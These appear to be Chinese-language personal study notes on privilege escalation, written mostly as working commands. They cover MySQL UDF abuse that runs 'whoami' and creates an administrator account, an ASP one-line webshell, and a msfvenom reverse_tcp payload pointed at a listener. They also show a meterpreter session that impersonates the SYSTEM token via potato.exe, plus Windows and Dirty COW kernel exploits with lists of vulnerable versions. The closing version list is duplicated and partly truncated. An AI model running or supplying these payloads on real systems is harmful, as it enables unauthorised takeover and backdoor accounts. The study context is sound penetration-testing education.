udf = ‘user defined function’,即’用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充
1、如何获得udf文件
2、将文件放到哪才能让mysql承认这个函数
3、函数功能
4、为什么这东西能提权(自定义函数指令是直接以管理员的权限运行的)
SQL 注入且是高权限
secure_file_priv 无限制
plugin 目录可写
udf位置
/usr/share/metasploit-framework/data/exploits/mysql
/usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
暂时不能用,需要解码
cd /usr/share/sqlmap/extra/cloak
python3 cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
放到哪
MySQL<5.0,导出路径随意;
5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:system32)
MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
select @@basedir; + lib/plugin/
创建函数
create function sys_eval returns string soname ‘udf.dll’;
select sys_eval(‘whoami’);
net user test test /add
net localgroup administrators test /add
函数功能
sys_eval 执行任意命令,并将输出返回。
sys_exec 执行任意命令,并将退出码返回。
sys_get 获取一个环境变量。
sys_set 创建或修改一个环境变量。
提权更多的溢出提权
内存溢出: 自己的堆栈返回到了root的堆栈,返回到root的堆栈后执行程序的权限就是root的权限
别用python3
ms16-032
检测脚本:
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
python -m pip install xlrd==1.2.0
python windows-exploit-suggester.py --update
python windows-exploit-suggester.py --database 2023-07-07-mssb.xls --systeminfo 1.txt
ms16-032
exp:
https://github.com/SecWiki/windows-kernel-exploits
systeminfo >>1.txt
python -m pip install xlrd==1.2.0
python windows-exploit-suggester.py --update #下载系统所有补丁
python windows-exploit-suggester.py --database 2023-10-11-mssb.xls --systeminfo 1.txt
python -m http.server 80
自始至终在受害者主机只做了三步
asp木马
<%execute(request("xiu"))%>
TkI0V0gtQkJCWVYtM01QUEMtOVJDTVYtNDZYQ0I=
安装2012,IIS,FTP,把msf木马利用ftp上传到2012,执行,
利用webshell运行msf木马
欺骗“NT AUTHORITY\SYSTEM”账户通过NTLM认证到控制的TCP终端
对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程通过一系列的Windows API调用实现的。
模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数服务型账户(IIS、MSSQL等)都有这个权限,用户级账户大多数没有这个权限。
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
msf生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.113 LPORT=5555 -f exe > shell.exe
use exploit/multi/handler
meterpreter > getuid
meterpreter > upload /root/potato.exe C:\Users\Public
meterpreter > cd C:\\Users\\Public
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > execute -cH -f ./potato.exe
meterpreter > list_tokens -u
AUTHORITY\SYSTEM
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
meterpreter > getuid
https://github.com/InteliSecureLabs/Linux_Exploit_Suggester
gcc -pthread dirty.c -o dirty -lcrypt
利用版本必须低于如下版本
Centos7 /RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1